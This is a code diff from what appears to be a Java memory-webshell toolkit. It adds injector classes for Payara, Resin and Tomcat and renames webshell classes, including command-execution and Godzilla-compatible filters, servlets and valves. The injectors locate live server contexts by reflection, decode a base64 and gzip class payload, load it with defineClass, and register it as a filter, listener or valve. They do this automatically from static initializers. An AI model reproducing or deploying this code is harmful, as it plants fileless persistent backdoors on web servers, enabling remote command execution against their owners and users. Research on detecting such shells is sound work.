classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object listener) throws Exception { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners", null, null); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + log.info("listener added successfully"); + eventListeners.add((EventListener) listener); + } else { + log.warning("listener already exists"); + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraValveInjector.java new file mode 100644 index 00000000..315a8c37 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraValveInjector.java @@ -0,0 +1,181 @@ +package com.reajason.javaweb.memshell.payara.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class PayaraValveInjector { + + static { + new PayaraValveInjector(); + } + + public PayaraValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFieldValue(getFieldValue(thread, "target"), "this$0"); + if (context != null) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + if (isInjected(pipeline)) { + System.out.println("valve already injected"); + return; + } + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } + + @SuppressWarnings("all") + public boolean isInjected(Object pipeline) throws Exception { + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java index e199efdd..de9dc5db 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.resin.command; +package com.reajason.javaweb.memshell.resin.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java index 5003e2bc..043cf6cf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.resin.godzilla; +package com.reajason.javaweb.memshell.resin.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterInjector.java new file mode 100644 index 00000000..96519dd5 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterInjector.java @@ -0,0 +1,197 @@ +package com.reajason.javaweb.memshell.resin.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class ResinFilterInjector { + + static { + new ResinFilterInjector(); + } + + public ResinFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + Set contexts = new HashSet(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null) { + contexts.add(webApp); + } + } + } + return Arrays.asList(contexts.toArray()); + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + private void inject(Object context, Object filter) throws Exception { + String filterClassName = getClassName(); + if (isInjected(context, filterClassName)) { + System.out.println("filter already injected"); + return; + } + Class filterMappingClass; + try { + filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } catch (Exception e) { + filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } + Object filterMappingImpl = filterMappingClass.newInstance(); + invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern", null, null); + invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(urlPattern, "init", null, null); + invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); + invokeMethod(context, "clearCache", null, null); + System.out.println("filter injected"); + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(evilClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinListenerInjector.java new file mode 100644 index 00000000..31721e2d --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinListenerInjector.java @@ -0,0 +1,181 @@ +package com.reajason.javaweb.memshell.resin.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class ResinListenerInjector { + static { + new ResinListenerInjector(); + } + + public ResinListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + Set contexts = new HashSet(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null) { + contexts.add(webApp); + } + } + } + return Arrays.asList(contexts.toArray()); + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + private void inject(Object context, Object listener) throws Exception { + if (isInjected(context)) { + return; + } + invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); + // 清除缓存,否则某些 uri 无法连接 + invokeMethod(context, "clearCache", null, null); + } + + @SuppressWarnings("unchecked") + public boolean isInjected(Object context) throws Exception { + List listeners = (List) getFieldValue(context, "_requestListeners"); + for (Object listener : listeners) { + if (listener.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 5844ee74..e84efdf8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jboss.command; +package com.reajason.javaweb.memshell.shelltool.command; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java similarity index 95% rename from generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 2a4085a7..7b7cc468 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.tomcat.command; +package com.reajason.javaweb.memshell.shelltool.command; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index 31ab5df5..b64e1029 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.payara.command; +package com.reajason.javaweb.memshell.shelltool.command; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java old mode 100755 new mode 100644 similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index f5123d48..d9803e2c --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jetty.godzilla; +package com.reajason.javaweb.memshell.shelltool.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -98,7 +98,7 @@ public class GodzillaFilter extends ClassLoader implements Filter { Object f; try { f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { + } catch (Exception e) { throw new RuntimeException(e); } f.equals(arrOut); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java index 324c1255..8c23532b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; +package com.reajason.javaweb.memshell.shelltool.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -38,7 +38,7 @@ public class GodzillaServlet extends ClassLoader implements Servlet { Object f; try { f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { + } catch (Exception e) { throw new RuntimeException(e); } f.equals(arrOut); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 20a7ef0d..8304ce14 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.glassfish.godzilla; +package com.reajason.javaweb.memshell.shelltool.godzilla; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java index fad427b1..9ebb8dfd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jboss.command; +package com.reajason.javaweb.memshell.tomcat.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java index fd2c7315..ec4cbd39 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; +package com.reajason.javaweb.memshell.tomcat.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterInjector.java new file mode 100644 index 00000000..0e5fdf47 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterInjector.java @@ -0,0 +1,258 @@ +package com.reajason.javaweb.memshell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + * + * @author ReaJason + */ +public class TomcatFilterInjector { + + static { + new TomcatFilterInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public TomcatFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Object context = null; + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null + && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") + || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, 